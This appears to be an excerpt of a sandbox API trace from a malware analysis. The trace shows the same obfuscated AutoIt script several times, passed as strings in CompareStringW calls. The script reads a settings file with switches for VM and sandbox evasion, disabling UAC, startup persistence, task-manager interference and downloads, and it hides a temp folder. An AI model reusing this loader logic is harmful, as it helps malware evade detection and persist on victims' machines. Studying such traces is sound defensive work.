'')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="75A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal 